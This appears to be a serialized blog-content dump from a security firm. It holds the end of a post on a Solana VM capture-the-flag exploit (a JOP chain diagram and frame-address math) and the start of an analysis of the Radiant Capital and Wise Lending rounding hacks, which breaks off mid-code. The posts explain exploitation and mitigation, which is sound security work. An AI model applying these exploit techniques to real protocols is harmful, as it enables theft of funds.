",{"type":25,"tag":162,"props":49421,"children":49424},{"href":49422,"rel":49423},"https://github.com/solana-labs/solana/blob/v1.17.4/programs/bpf_loader/src/syscalls/cpi.rs#L458-L637",[166],[49425],{"type":31,"value":49426},"implementation",{"type":31,"value":49428}," provides more clarity:",{"type":25,"tag":2033,"props":49430,"children":49431},{},[49432],{"type":25,"tag":2037,"props":49433,"children":49434},{},[49435,49440,49442,49449],{"type":25,"tag":82,"props":49436,"children":49438},{"className":49437},[],[49439],{"type":31,"value":49295},{"type":31,"value":49441}," points to a ",{"type":25,"tag":162,"props":49443,"children":49446},{"href":49444,"rel":49445},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/stable_layout/stable_instruction.rs#L33",[166],[49447],{"type":31,"value":49448},"StableInstruction",{"type":31,"value":1466},{"type":25,"tag":38,"props":49451,"children":49452},{},[49453],{"type":25,"tag":6461,"props":49454,"children":49456},{"alt":49448,"src":49455},"/posts/jumping-around-in-the-vm/stable_ix.svg",[],{"type":25,"tag":2033,"props":49458,"children":49459},{},[49460,49485],{"type":25,"tag":2037,"props":49461,"children":49462},{},[49463,49468,49470,49475,49477,49484],{"type":25,"tag":82,"props":49464,"children":49466},{"className":49465},[],[49467],{"type":31,"value":49320},{"type":31,"value":49469}," points to a slice of ",{"type":25,"tag":82,"props":49471,"children":49473},{"className":49472},[],[49474],{"type":31,"value":49345},{"type":31,"value":49476},"  ",{"type":25,"tag":162,"props":49478,"children":49481},{"href":49479,"rel":49480},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/account_info.rs#L19-L36",[166],[49482],{"type":31,"value":49483},"AccountInfos",{"type":31,"value":179},{"type":25,"tag":2037,"props":49486,"children":49487},{},[49488,49493,49495,49500,49502,49507],{"type":25,"tag":82,"props":49489,"children":49491},{"className":49490},[],[49492],{"type":31,"value":49362},{"type":31,"value":49494}," is a bit trickier, it points to a slice of length ",{"type":25,"tag":82,"props":49496,"children":49498},{"className":49497},[],[49499],{"type":31,"value":49387},{"type":31,"value":49501},", containing slices of ",{"type":25,"tag":82,"props":49503,"children":49505},{"className":49504},[],[49506],{"type":31,"value":7372},{"type":31,"value":179},{"type":25,"tag":38,"props":49509,"children":49510},{},[49511],{"type":25,"tag":6461,"props":49512,"children":49515},{"alt":49513,"src":49514},"signers.drawio","/posts/jumping-around-in-the-vm/signers.svg",[],{"type":25,"tag":38,"props":49517,"children":49518},{},[49519,49521,49526],{"type":31,"value":49520},"Where do we store those fake parameters? We can store them directly inside the input data, and just write the pointers to them on the stack through the write gadget. Note that these writes are to ",{"type":25,"tag":64,"props":49522,"children":49523},{},[49524],{"type":31,"value":49525},"future call frames",{"type":31,"value":179},{"type":25,"tag":38,"props":49528,"children":49529},{},[49530,49532,49539],{"type":31,"value":49531},"Now that we have all the parts, all we need is to string it together. The full ",{"type":25,"tag":162,"props":49533,"children":49536},{"href":49534,"rel":49535},"https://github.com/chen-robert/paradigmctf-2023/blob/main/jotterp/framework-solve/src/main.rs",[166],[49537],{"type":31,"value":49538},"reference solution can be found here",{"type":31,"value":179},{"type":25,"tag":38,"props":49541,"children":49542},{},[49543],{"type":31,"value":49544},"Here's a visualization of the final JOP chain.",{"type":25,"tag":206,"props":49546,"children":49548},{"className":47911,"code":49547,"language":47913,"meta":7,"style":7},"graph BT\n    A[0: entrypoint] --> B[1: process_instruction]\n    B --> C[2: process]\n    C --> D[3: Write account_infos.ptr to target_r10 - 136]\n    C --> E[3: process]\n    E --> F[4: Write account_infos.len to target_r10 - 128]\n    E --> G[4: process]\n    G --> H[5: Write signers_seeds.ptr to target_r10 - 152]\n    G --> I[5: process]\n    I --> J[6: Write signers_seeds.len to target_r10 - 144]\n    I --> K[6: process]\n    K --> M[7: Write HeapBase to target_r10 - 120]\n    K --> N[7: process]\n    N --> P[8: Invoke CPI Gadget with R0 pointing to the CreateAccount instruction]\n    N --> O[8: Write 0x4337 to the account]\n",[49549],{"type":25,"tag":82,"props":49550,"children":49551},{"__ignoreMap":7},[49552,49560,49567,49574,49582,49589,49597,49605,49613,49621,49629,49637,49645,49653,49661],{"type":25,"tag":216,"props":49553,"children":49554},{"class":6916,"line":6917},[49555],{"type":25,"tag":216,"props":49556,"children":49557},{},[49558],{"type":31,"value":49559},"graph BT\n",{"type":25,"tag":216,"props":49561,"children":49562},{"class":6916,"line":6763},[49563],{"type":25,"tag":216,"props":49564,"children":49565},{},[49566],{"type":31,"value":47933},{"type":25,"tag":216,"props":49568,"children":49569},{"class":6916,"line":6772},[49570],{"type":25,"tag":216,"props":49571,"children":49572},{},[49573],{"type":31,"value":47941},{"type":25,"tag":216,"props":49575,"children":49576},{"class":6916,"line":6999},[49577],{"type":25,"tag":216,"props":49578,"children":49579},{},[49580],{"type":31,"value":49581},"    C --> D[3: Write account_infos.ptr to target_r10 - 136]\n",{"type":25,"tag":216,"props":49583,"children":49584},{"class":6916,"line":7104},[49585],{"type":25,"tag":216,"props":49586,"children":49587},{},[49588],{"type":31,"value":47957},{"type":25,"tag":216,"props":49590,"children":49591},{"class":6916,"line":7210},[49592],{"type":25,"tag":216,"props":49593,"children":49594},{},[49595],{"type":31,"value":49596},"    E --> F[4: Write account_infos.len to target_r10 - 128]\n",{"type":25,"tag":216,"props":49598,"children":49599},{"class":6916,"line":7238},[49600],{"type":25,"tag":216,"props":49601,"children":49602},{},[49603],{"type":31,"value":49604},"    E --> G[4: process]\n",{"type":25,"tag":216,"props":49606,"children":49607},{"class":6916,"line":7251},[49608],{"type":25,"tag":216,"props":49609,"children":49610},{},[49611],{"type":31,"value":49612},"    G --> H[5: Write signers_seeds.ptr to target_r10 - 152]\n",{"type":25,"tag":216,"props":49614,"children":49615},{"class":6916,"line":7269},[49616],{"type":25,"tag":216,"props":49617,"children":49618},{},[49619],{"type":31,"value":49620},"    G --> I[5: process]\n",{"type":25,"tag":216,"props":49622,"children":49623},{"class":6916,"line":7290},[49624],{"type":25,"tag":216,"props":49625,"children":49626},{},[49627],{"type":31,"value":49628},"    I --> J[6: Write signers_seeds.len to target_r10 - 144]\n",{"type":25,"tag":216,"props":49630,"children":49631},{"class":6916,"line":7299},[49632],{"type":25,"tag":216,"props":49633,"children":49634},{},[49635],{"type":31,"value":49636},"    I --> K[6: process]\n",{"type":25,"tag":216,"props":49638,"children":49639},{"class":6916,"line":7551},[49640],{"type":25,"tag":216,"props":49641,"children":49642},{},[49643],{"type":31,"value":49644},"    K --> M[7: Write HeapBase to target_r10 - 120]\n",{"type":25,"tag":216,"props":49646,"children":49647},{"class":6916,"line":7568},[49648],{"type":25,"tag":216,"props":49649,"children":49650},{},[49651],{"type":31,"value":49652},"    K --> N[7: process]\n",{"type":25,"tag":216,"props":49654,"children":49655},{"class":6916,"line":7585},[49656],{"type":25,"tag":216,"props":49657,"children":49658},{},[49659],{"type":31,"value":49660},"    N --> P[8: Invoke CPI Gadget with R0 pointing to the CreateAccount instruction]\n",{"type":25,"tag":216,"props":49662,"children":49663},{"class":6916,"line":7598},[49664],{"type":25,"tag":216,"props":49665,"children":49666},{},[49667],{"type":31,"value":49668},"    N --> O[8: Write 0x4337 to the account]\n",{"type":25,"tag":38,"props":49670,"children":49671},{},[49672,49674,49680],{"type":31,"value":49673},"Small note: ",{"type":25,"tag":82,"props":49675,"children":49677},{"className":49676},[],[49678],{"type":31,"value":49679},"target_r10",{"type":31,"value":49681}," is the address of the call frame when the CPI gadget is invoked, which, as shown in the graph, is the 8th frame. Its address can be calculated as follows:",{"type":25,"tag":206,"props":49683,"children":49685},{"className":6909,"code":49684,"language":6908,"meta":7,"style":7},"fn call_frame_addr(depth: u64) -> u64 {\n    0x200000000 + 0x2000 * depth + 0x1000\n}\n// call_frame_addr(8) = 0x200011000\n",[49686],{"type":25,"tag":82,"props":49687,"children":49688},{"__ignoreMap":7},[49689,49734,49769,49776],{"type":25,"tag":216,"props":49690,"children":49691},{"class":6916,"line":6917},[49692,49696,49701,49705,49710,49714,49718,49722,49726,49730],{"type":25,"tag":216,"props":49693,"children":49694},{"style":6930},[49695],{"type":31,"value":24220},{"type":25,"tag":216,"props":49697,"children":49698},{"style":7041},[49699],{"type":31,"value":49700}," call_frame_addr",{"type":25,"tag":216,"props":49702,"children":49703},{"style":6958},[49704],{"type":31,"value":1844},{"type":25,"tag":216,"props":49706,"children":49707},{"style":6941},[49708],{"type":31,"value":49709},"depth",{"type":25,"tag":216,"props":49711,"children":49712},{"style":6947},[49713],{"type":31,"value":1466},{"type":25,"tag":216,"props":49715,"children":49716},{"style":7369},[49717],{"type":31,"value":9805},{"type":25,"tag":216,"props":49719,"children":49720},{"style":6958},[49721],{"type":31,"value":7030},{"type":25,"tag":216,"props":49723,"children":49724},{"style":6947},[49725],{"type":31,"value":17708},{"type":25,"tag":216,"props":49727,"children":49728},{"style":7369},[49729],{"type":31,"value":9805},{"type":25,"tag":216,"props":49731,"children":49732},{"style":6958},[49733],{"type":31,"value":7235},{"type":25,"tag":216,"props":49735,"children":49736},{"class":6916,"line":6763},[49737,49742,49746,49751,49755,49760,49764],{"type":25,"tag":216,"props":49738,"children":49739},{"style":6983},[49740],{"type":31,"value":49741},"    0x200000000",{"type":25,"tag":216,"props":49743,"children":49744},{"style":6947},[49745],{"type":31,"value":12852},{"type":25,"tag":216,"props":49747,"children":49748},{"style":6983},[49749],{"type":31,"value":49750}," 0x2000",{"type":25,"tag":216,"props":49752,"children":49753},{"style":6947},[49754],{"type":31,"value":13767},{"type":25,"tag":216,"props":49756,"children":49757},{"style":6941},[49758],{"type":31,"value":49759}," depth",{"type":25,"tag":216,"props":49761,"children":49762},{"style":6947},[49763],{"type":31,"value":12852},{"type":25,"tag":216,"props":49765,"children":49766},{"style":6983},[49767],{"type":31,"value":49768}," 0x1000\n",{"type":25,"tag":216,"props":49770,"children":49771},{"class":6916,"line":6772},[49772],{"type":25,"tag":216,"props":49773,"children":49774},{"style":6958},[49775],{"type":31,"value":7868},{"type":25,"tag":216,"props":49777,"children":49778},{"class":6916,"line":6999},[49779],{"type":25,"tag":216,"props":49780,"children":49781},{"style":6921},[49782],{"type":31,"value":49783},"// call_frame_addr(8) = 0x200011000\n",{"type":25,"tag":26,"props":49785,"children":49786},{"id":32886},[49787],{"type":31,"value":22901},{"type":25,"tag":38,"props":49789,"children":49790},{},[49791,49793,49800],{"type":31,"value":49792},"Most blockchain vulnerabilities are high-level business logic bugs. While low-level Solana bugs are rare, ",{"type":25,"tag":162,"props":49794,"children":49797},{"href":49795,"rel":49796},"https://osec.io/blog/2022-12-09-rust-realloc-and-references",[166],[49798],{"type":31,"value":49799},"they do exist",{"type":31,"value":179},{"type":25,"tag":38,"props":49802,"children":49803},{},[49804],{"type":31,"value":49805},"In this blog post, we provided an exploration of the exploitation side of security. There's a surprising amount of work necessary to go from powerful memory corruption primitives to full control of the program.",{"type":25,"tag":38,"props":49807,"children":49808},{},[49809,49811,49816],{"type":31,"value":49810},"Security requires a top-to-bottom understanding of the execution environment. We hope this challenge and blog post motivate others to understand the ",{"type":25,"tag":64,"props":49812,"children":49813},{},[49814],{"type":31,"value":49815},"entire",{"type":31,"value":49817}," runtime.",{"type":25,"tag":9310,"props":49819,"children":49820},{},[49821],{"type":31,"value":9314},{"title":7,"searchDepth":6763,"depth":6763,"links":49823},[49824,49828,49829,49832],{"id":22910,"depth":6763,"text":22913,"children":49825},[49826,49827],{"id":44499,"depth":6772,"text":44502},{"id":45818,"depth":6772,"text":45821},{"id":47057,"depth":6763,"text":47060},{"id":47893,"depth":6763,"text":47896,"children":49830},[49831],{"id":48007,"depth":6772,"text":48010},{"id":32886,"depth":6763,"text":22901},"content:blog:2023-12-11-jumping-around-in-the-vm.md","blog/2023-12-11-jumping-around-in-the-vm.md","blog/2023-12-11-jumping-around-in-the-vm",{"_path":49837,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":49838,"description":49839,"author":49840,"image":49841,"date":49843,"isFeatured":16,"onBlogPage":16,"body":49844,"_type":6792,"_id":50990,"_source":6794,"_file":50991,"_stem":50992,"_extension":6797},"/blog/2024-01-18-rounding-bugs","Rounding Bugs: An Analysis","Rounding-related hacks are having a moment in the spotlight. We explore these exploits, correct some popular misunderstandings, and provide mitigations.",[9664],{"src":49842},"/posts/rounding-bugs/cover.png","2024-01-18",{"type":22,"children":49845,"toc":50979},[49846,49850,49878,49883,49896,49901,49907,49912,49917,49922,49927,49940,49952,49972,49992,49997,50002,50020,50026,50031,50037,50051,50064,50069,50075,50089,50094,50116,50349,50354,50359,50372,50612,50622,50627,50633,50638,50643,50676,50681,50692,50698,50703,50717,50845,50859,50935,50940,50951,50956,50961,50965,50970,50975],{"type":25,"tag":26,"props":49847,"children":49848},{"id":32969},[49849],{"type":31,"value":32972},{"type":25,"tag":38,"props":49851,"children":49852},{},[49853,49855,49862,49863,49870,49872,49877],{"type":31,"value":49854},"Recently, there's been a series of attacks exploiting share rounding against lending protocols. Rounding attacks are already known to developers on ",{"type":25,"tag":162,"props":49856,"children":49859},{"href":49857,"rel":49858},"https://neodyme.io/de/blog/lending_disclosure",[166],[49860],{"type":31,"value":49861},"fast",{"type":31,"value":7020},{"type":25,"tag":162,"props":49864,"children":49867},{"href":49865,"rel":49866},"https://osec.io/blog/2022-04-26-spl-swap-rounding",[166],[49868],{"type":31,"value":49869},"cheap",{"type":31,"value":49871}," chains with high-value tokens. These attacks are novel in that they also work against low-value tokens on expensive chains. ",{"type":25,"tag":64,"props":49873,"children":49874},{},[49875],{"type":31,"value":49876},"Most people haven't considered what happens when shares are worth a lot",{"type":31,"value":179},{"type":25,"tag":38,"props":49879,"children":49880},{},[49881],{"type":31,"value":49882},"Much of the previous discourse has mischaracterized the rootcause of these hacks. For example, the presence of flashloans is largely irrelevant. At a high level, these attacks only require two key steps:",{"type":25,"tag":6705,"props":49884,"children":49885},{},[49886,49891],{"type":25,"tag":2037,"props":49887,"children":49888},{},[49889],{"type":31,"value":49890},"Inflate share value (token to share conversion rate)",{"type":25,"tag":2037,"props":49892,"children":49893},{},[49894],{"type":31,"value":49895},"Exploit rounding bug",{"type":25,"tag":38,"props":49897,"children":49898},{},[49899],{"type":31,"value":49900},"In this blog post, we explore these attacks in detail and provide potential mitigations.",{"type":25,"tag":26,"props":49902,"children":49904},{"id":49903},"model",[49905],{"type":31,"value":49906},"Model",{"type":25,"tag":38,"props":49908,"children":49909},{},[49910],{"type":31,"value":49911},"Before we dive in, there's some helpful background information we'll share first.",{"type":25,"tag":38,"props":49913,"children":49914},{},[49915],{"type":31,"value":49916},"A common form of accounting is the share and token model. When a user deposits a token, they receive back shares. Shares can accrue value, whether through interest or protocol fees.",{"type":25,"tag":38,"props":49918,"children":49919},{},[49920],{"type":31,"value":49921},"When users want to withdraw their tokens, they burn shares and receive the corresponding amount of tokens back. This is nice in theory. Unfortunately, in the real world, we have fixed precision. You can't have 1.01 shares, it needs to be either one or two. Which way should we round?",{"type":25,"tag":38,"props":49923,"children":49924},{},[49925],{"type":31,"value":49926},"This question is more complex than it may appear. Let's walk through an example.",{"type":25,"tag":38,"props":49928,"children":49929},{},[49930,49932,49938],{"type":31,"value":49931},"Say we initialize shares and tokens in a one-to-one ratio. After an initial deposit of 1000 tokens, the pool state is ",{"type":25,"tag":82,"props":49933,"children":49935},{"className":49934},[],[49936],{"type":31,"value":49937},"1000:1000",{"type":31,"value":49939}," (1000 tokens to 1000 shares).",{"type":25,"tag":38,"props":49941,"children":49942},{},[49943,49945,49951],{"type":31,"value":49944},"After accruing fees, the pool gains one token for a new ratio of ",{"type":25,"tag":82,"props":49946,"children":49948},{"className":49947},[],[49949],{"type":31,"value":49950},"1001:1000",{"type":31,"value":179},{"type":25,"tag":38,"props":49953,"children":49954},{},[49955,49957,49963,49965,49970],{"type":31,"value":49956},"How many tokens should we get back when withdrawing 999 shares? The real answer is ",{"type":25,"tag":82,"props":49958,"children":49960},{"className":49959},[],[49961],{"type":31,"value":49962},"1001/1000*999 = 999.999",{"type":31,"value":49964},". Unfortunately, we can only send the user 1000 or 999 tokens. For now, let's assume we round ",{"type":25,"tag":64,"props":49966,"children":49967},{},[49968],{"type":31,"value":49969},"down",{"type":31,"value":49971}," against the user.",{"type":25,"tag":38,"props":49973,"children":49974},{},[49975,49977,49983,49985,49991],{"type":31,"value":49976},"If we give the user 999 tokens, the new pool state is ",{"type":25,"tag":82,"props":49978,"children":49980},{"className":49979},[],[49981],{"type":31,"value":49982},"2:1",{"type":31,"value":49984},". The value of a share doubled! What happens if we deposit 1 more token? We'll get back zero shares, further inflating the ratio to ",{"type":25,"tag":82,"props":49986,"children":49988},{"className":49987},[],[49989],{"type":31,"value":49990},"3:1",{"type":31,"value":179},{"type":25,"tag":38,"props":49993,"children":49994},{},[49995],{"type":31,"value":49996},"Small decisions like rounding direction can have a big impact on share valuation. Generally, share valuation isn't a strict security boundary.",{"type":25,"tag":38,"props":49998,"children":49999},{},[50000],{"type":31,"value":50001},"The above is a bit of a simplification. In practice, there are several protocol-specific design decisions:",{"type":25,"tag":6705,"props":50003,"children":50004},{},[50005,50010,50015],{"type":25,"tag":2037,"props":50006,"children":50007},{},[50008],{"type":31,"value":50009},"Can you deposit and receive back zero shares? If not, you'll need to spend more effort to exploit the rounding error",{"type":25,"tag":2037,"props":50011,"children":50012},{},[50013],{"type":31,"value":50014},"When you withdraw, are you withdrawing shares or tokens?",{"type":25,"tag":2037,"props":50016,"children":50017},{},[50018],{"type":31,"value":50019},"Can you directly manipulate pool state by sending tokens? Hopefully not.",{"type":25,"tag":26,"props":50021,"children":50023},{"id":50022},"decisions",[50024],{"type":31,"value":50025},"Decisions",{"type":25,"tag":38,"props":50027,"children":50028},{},[50029],{"type":31,"value":50030},"Let's assume that we're able to inflate the value of a share. How can we actually exploit this?",{"type":25,"tag":607,"props":50032,"children":50034},{"id":50033},"radiant-capital",[50035],{"type":31,"value":50036},"Radiant Capital",{"type":25,"tag":38,"props":50038,"children":50039},{},[50040,50042,50049],{"type":31,"value":50041},"Radiant Capital was ",{"type":25,"tag":162,"props":50043,"children":50046},{"href":50044,"rel":50045},"https://arbiscan.io/tx/0x1ce7e9a9e3b6dd3293c9067221ac3260858ce119ecb7ca860eac28b2474c7c9b",[166],[50047],{"type":31,"value":50048},"hacked on Jan 2nd",{"type":31,"value":50050}," for about $4.5M. This was the original example of exploiting rounding on otherwise inconsequential shares.",{"type":25,"tag":38,"props":50052,"children":50053},{},[50054,50056,50063],{"type":31,"value":50055},"The exploit is relatively straightforward and ",{"type":25,"tag":162,"props":50057,"children":50060},{"href":50058,"rel":50059},"https://medium.com/@_kcyw/radiant-capital-hack-explained-1633289be150",[166],[50061],{"type":31,"value":50062},"has already been covered previously",{"type":31,"value":179},{"type":25,"tag":38,"props":50065,"children":50066},{},[50067],{"type":31,"value":50068},"At a high level, this exploit is exactly what you'd expect. If shares were worth $1000 each, and the user tried to withdraw $1999, they only needed to burn one share. Free money.",{"type":25,"tag":607,"props":50070,"children":50072},{"id":50071},"wise-lending",[50073],{"type":31,"value":50074},"Wise Lending",{"type":25,"tag":38,"props":50076,"children":50077},{},[50078,50080,50087],{"type":31,"value":50079},"Wise Lending was ",{"type":25,"tag":162,"props":50081,"children":50084},{"href":50082,"rel":50083},"https://etherscan.io/tx/0x04e16a79ff928db2fa88619cdd045cdfc7979a61d836c9c9e585b3d6f6d8bc31",[166],[50085],{"type":31,"value":50086},"hacked on January 13th",{"type":31,"value":50088}," for just under $460,000.",{"type":25,"tag":38,"props":50090,"children":50091},{},[50092],{"type":31,"value":50093},"Again, share prices were inflated artificially high. However, the rounding direction seemed to be correct. This was a new variant.",{"type":25,"tag":38,"props":50095,"children":50096},{},[50097,50099,50106,50108,50115],{"type":31,"value":50098},"This is ",{"type":25,"tag":162,"props":50100,"children":50103},{"href":50101,"rel":50102},"https://etherscan.io/address/0x829c3AE2e82760eCEaD0F384918a650F8a31Ba18",[166],[50104],{"type":31,"value":50105},"the code responsible",{"type":31,"value":50107}," for checking if a withdrawal is valid. As a hint, a critical invariant for lending protocols is that there's ",{"type":25,"tag":162,"props":50109,"children":50112},{"href":50110,"rel":50111},"https://www.chainalysis.com/blog/euler-finance-flash-loan-attack/",[166],[50113],{"type":31,"value":50114},"no way to atomically self-bankrupt",{"type":31,"value":179},{"type":25,"tag":206,"props":50117,"children":50119},{"className":8417,"code":50118,"language":8416,"meta":7,"style":7},"uint256 withdrawValue = WISE_ORACLE.getTokensInETH(\n    _poolToken,\n    _amount\n)\n    * WISE_LENDING.lendingPoolData(_poolToken).collateralFactor\n    / PRECISION_FACTOR_E18;\n\nbool state = borrowPercentageCap\n    * (overallETHCollateralsWeighted(_nftId) - withdrawValue)\n    / PRECISION_FACTOR_E18\n    \u003C borrowAmount;\n\nif (state == true) {\n    revert ResultsInBadDebt();\n}\n",[50120],{"type":25,"tag":82,"props":50121,"children":50122},{"__ignoreMap":7},[50123,50154,50162,50170,50177,50199,50212,50219,50240,50270,50282,50294,50301,50325,50342],{"type":25,"tag":216,"props":50124,"children":50125},{"class":6916,"line":6917},[50126,50131,50136,50140,50145,50150],{"type":25,"tag":216,"props":50127,"children":50128},{"style":7369},[50129],{"type":31,"value":50130},"uint256",{"type":25,"tag":216,"props":50132,"children":50133},{"style":6958},[50134],{"type":31,"value":50135}," withdrawValue ",{"type":25,"tag":216,"props":50137,"children":50138},{"style":6947},[50139],{"type":31,"value":266},{"type":25,"tag":216,"props":50141,"children":50142},{"style":6958},[50143],{"type":31,"value":50144}," WISE_ORACLE.",{"type":25,"tag":216,"props":50146,"children":50147},{"style":7041},[50148],{"type":31,"value":50149},"getTokensInETH",{"type":25,"tag":216,"props":50151,"children":50152},{"style":6958},[50153],{"type":31,"value":7414},{"type":25,"tag":216,"props":50155,"children":50156},{"class":6916,"line":6763},[50157],{"type":25,"tag":216,"props":50158,"children":50159},{"style":6958},[50160],{"type":31,"value":50161},"    _poolToken,\n",{"type":25,"tag":216,"props":50163,"children":50164},{"class":6916,"line":6772},[50165],{"type":25,"tag":216,"props":50166,"children":50167},{"style":6958},[50168],{"type":31,"value":50169},"    _amount\n",{"type":25,"tag":216,"props":50171,"children":50172},{"class":6916,"line":6999},[50173],{"type":25,"tag":216,"props":50174,"children":50175},{"style":6958},[50176],{"type":31,"value":7101},{"type":25,"tag":216,"props":50178,"children":50179},{"class":6916,"line":7104},[50180,50184,50189,50194],{"type":25,"tag":216,"props":50181,"children":50182},{"style":6947},[50183],{"type":31,"value":21513},{"type":25,"tag":216,"props":50185,"children":50186},{"style":6958},[50187],{"type":31,"value":50188}," WISE_LENDING.",{"type":25,"tag":216,"props":50190,"children":50191},{"style":7041},[50192],{"type":31,"value":50193},"lendingPoolData",{"type":25,"tag":216,"props":50195,"children":50196},{"style":6958},[50197],{"type":31,"value":50198},"(_poolToken).collateralFactor\n",{"type":25,"tag":216,"props":50200,"children":50201},{"class":6916,"line":7210},[50202,50207],{"type":25,"tag":216,"props":50203,"children":50204},{"style":6947},[50205],{"type":31,"value":50206},"    /",{"type":25,"tag":216,"props":50208,"children":50209},{"style":6958},[50210],{"type":31,"value":50211}," PRECISION_FACTOR_E18;\n",{"type":25,"tag":216,"props":50213,"children":50214},{"class":6916,"line":7238},[50215],{"type":25,"tag":216,"props":50216,"children":50217},{"emptyLinePlaceholder":16},[50218],{"type":31,"value":7636},{"type":25,"tag":216,"props":50220,"children":50221},{"class":6916,"line":7251},[50222,50226,50231,50235],{"type":25,"tag":216,"props":50223,"children":50224},{"style":7369},[50225],{"type":31,"value":33640},{"type":25,"tag":216,"props":50227,"children":50228},{"style":6958},[50229],{"type":31,"value":50230}," state ",{"type":25,"tag":216,"props":50232,"children":50233},{"style":6947},[50234],{"type":31,"value":266},{"type":25,"tag":216,"props":50236,"children":50237},{"style":6958},[50238],{"type":31,"value":50239}," borrowPercentageCap\n",{"type":25,"tag":216,"props":50241,"children":50242},{"class":6916,"line":7269},[50243,50247,50251,50256,50261,50265],{"type":25,"tag":216,"props":50244,"children":50245},{"style":6947},[50246],{"type":31,"value":21513},{"type":25,"tag":216,"props":50248,"children":50249},{"style":6958},[50250],{"type":31,"value":7010},{"type":25,"tag":216,"props":50252,"children":50253},{"style":7041},[50254],{"type":31,"value":50255},"overallETHCollateralsWeighted",{"type":25,"tag":216,"props":50257,"children":50258},{"style":6958},[50259],{"type":31,"value":50260},"(_nftId) ",{"type":25,"tag":216,"props":50262,"children":50263},{"style":6947},[50264],{"type":31,"value":8270},{"type":25,"tag":216,"props":50266,"children":50267},{"style":6958},[50268],{"type":31,"value":50269}," withdrawValue)\n",{"type":25,"tag":216,"props":50271,"children":50272},{"class":6916,"line":7290},[50273,50277],{"type":25,"tag":216,"props":50274,"children":50275},{"style":6947},[50276],{"type":31,"value":50206},{"type":25,"tag":216,"props":50278,"children":50279},{"style":6958},[50280],{"type":31,"value":50281}," PRECISION_FACTOR_E18\n",{"type":25,"tag":216,"props":50283,"children":50284},{"class":6916,"line":7299},[50285,50289],{"type":25,"tag":216,"props":50286,"children":50287},{"style":6947},[50288],{"type":31,"value":36402},{"type":25,"tag":216,"props":50290,"children":50291},{"style":6958},[50292],{"type":31,"value":50293}," borrowAmount;\n",{"type":25,"tag":216,"props":50295,"children":50296},{"class":6916,"line":7551},[50297],{"type":25,"tag":216,"props":50298,"children":50299},{"emptyLinePlaceholder":16},[50300],{"type":31,"value":7636},{"type":25,"tag":216,"props":50302,"children":50303},{"class":6916,"line":7568},[50304,50308,50313,50317,50321],{"type":25,"tag":216,"props":50305,"children":50306},{"style":6967},[50307],{"type":31,"value":19531},{"type":25,"tag":216,"props":50309,"children":50310},{"style":6958},[50311],{"type":31,"value":50312}," (state ",{"type":25,"tag":216,"props":50314,"children":50315},{"style":6947},[50316],{"type":31,"value":12522},{"type":25,"tag":216,"props":50318,"children":50319},{"style":6930},[50320],{"type":31,"value":16419},{"type":25,"tag":216,"props":50322,"children":50323},{"style":6958},[50324],{"type":31,"value":18755},{"type":25,"tag":216,"props":50326,"children":50327},{"class":6916,"line":7585},[50328,50333,50338],{"type":25,"tag":216,"props":50329,"children":50330},{"style":6967},[50331],{"type":31,"value":50332},"    revert",{"type":25,"tag":216,"props":50334,"children":50335},{"style":7041},[50336],{"type":31,"value":50337}," ResultsInBadDebt",{"type":25,"tag":216,"props":50339,"children":50340},{"style":6958},[50341],{"type":31,"value":7627},{"type":25,"tag":216,"props":50343,"children":50344},{"class":6916,"line":7598},[50345],{"type":25,"tag":216,"props":50346,"children":50347},{"style":6958},[50348],{"type":31,"value":7868},{"type":25,"tag":38,"props":50350,"children":50351},{},[50352],{"type":31,"value":50353},"The critical observation is that this code operates on token amounts, while the internal accounting necessarily operates on shares.",{"type":25,"tag":38,"props":50355,"children":50356},{},[50357],{"type":31,"value":50358},"Consider: you have one share worth $1000 and (correctly) can borrow $500. If you tried to withdraw $1, the code would round up to withdraw your one share worth $1000, causing you to be immediately liquidatable!",{"type":25,"tag":38,"props":50360,"children":50361},{},[50362,50364,50370],{"type":31,"value":50363},"And indeed, ",{"type":25,"tag":162,"props":50365,"children":50368},{"href":50366,"rel":50367},"https://etherscan.io/address/0x37e49bf3749513A02FA535F0CbC383796E8107E4",[166],[50369],{"type":31,"value":50074},{"type":31,"value":50371}," rounds up the share value.",{"type":25,"tag":206,"props":50373,"children":50375},{"className":8417,"code":50374,"language":8416,"meta":7,"style":7},"function _calculateShares(\n    uint256 _product,\n    uint256 _pseudo,\n    bool _maxSharePrice\n)\n    private\n    pure\n    returns (uint256)\n{\n    return _maxSharePrice == true\n        ? _product % _pseudo == 0\n            ? _product / _pseudo\n            : _product / _pseudo + 1\n        : _product / _pseudo;\n}\n",[50376],{"type":25,"tag":82,"props":50377,"children":50378},{"__ignoreMap":7},[50379,50395,50412,50428,50441,50448,50456,50464,50484,50491,50512,50533,50555,50584,50605],{"type":25,"tag":216,"props":50380,"children":50381},{"class":6916,"line":6917},[50382,50386,50391],{"type":25,"tag":216,"props":50383,"children":50384},{"style":6930},[50385],{"type":31,"value":35333},{"type":25,"tag":216,"props":50387,"children":50388},{"style":7041},[50389],{"type":31,"value":50390}," _calculateShares",{"type":25,"tag":216,"props":50392,"children":50393},{"style":6958},[50394],{"type":31,"value":7414},{"type":25,"tag":216,"props":50396,"children":50397},{"class":6916,"line":6763},[50398,50403,50408],{"type":25,"tag":216,"props":50399,"children":50400},{"style":7369},[50401],{"type":31,"value":50402},"    uint256",{"type":25,"tag":216,"props":50404,"children":50405},{"style":6941},[50406],{"type":31,"value":50407}," _product",{"type":25,"tag":216,"props":50409,"children":50410},{"style":6958},[50411],{"type":31,"value":7459},{"type":25,"tag":216,"props":50413,"children":50414},{"class":6916,"line":6772},[50415,50419,50424],{"type":25,"tag":216,"props":50416,"children":50417},{"style":7369},[50418],{"type":31,"value":50402},{"type":25,"tag":216,"props":50420,"children":50421},{"style":6941},[50422],{"type":31,"value":50423}," _pseudo",{"type":25,"tag":216,"props":50425,"children":50426},{"style":6958},[50427],{"type":31,"value":7459},{"type":25,"tag":216,"props":50429,"children":50430},{"class":6916,"line":6999},[50431,50436],{"type":25,"tag":216,"props":50432,"children":50433},{"style":7369},[50434],{"type":31,"value":50435},"    bool",{"type":25,"tag":216,"props":50437,"children":50438},{"style":6941},[50439],{"type":31,"value":50440}," _maxSharePrice\n",{"type":25,"tag":216,"props":50442,"children":50443},{"class":6916,"line":7104},[50444],{"type":25,"tag":216,"props":50445,"children":50446},{"style":6958},[50447],{"type":31,"value":7101},{"type":25,"tag":216,"props":50449,"children":50450},{"class":6916,"line":7210},[50451],{"type":25,"tag":216,"props":50452,"children":50453},{"style":6930},[50454],{"type":31,"value":50455},"    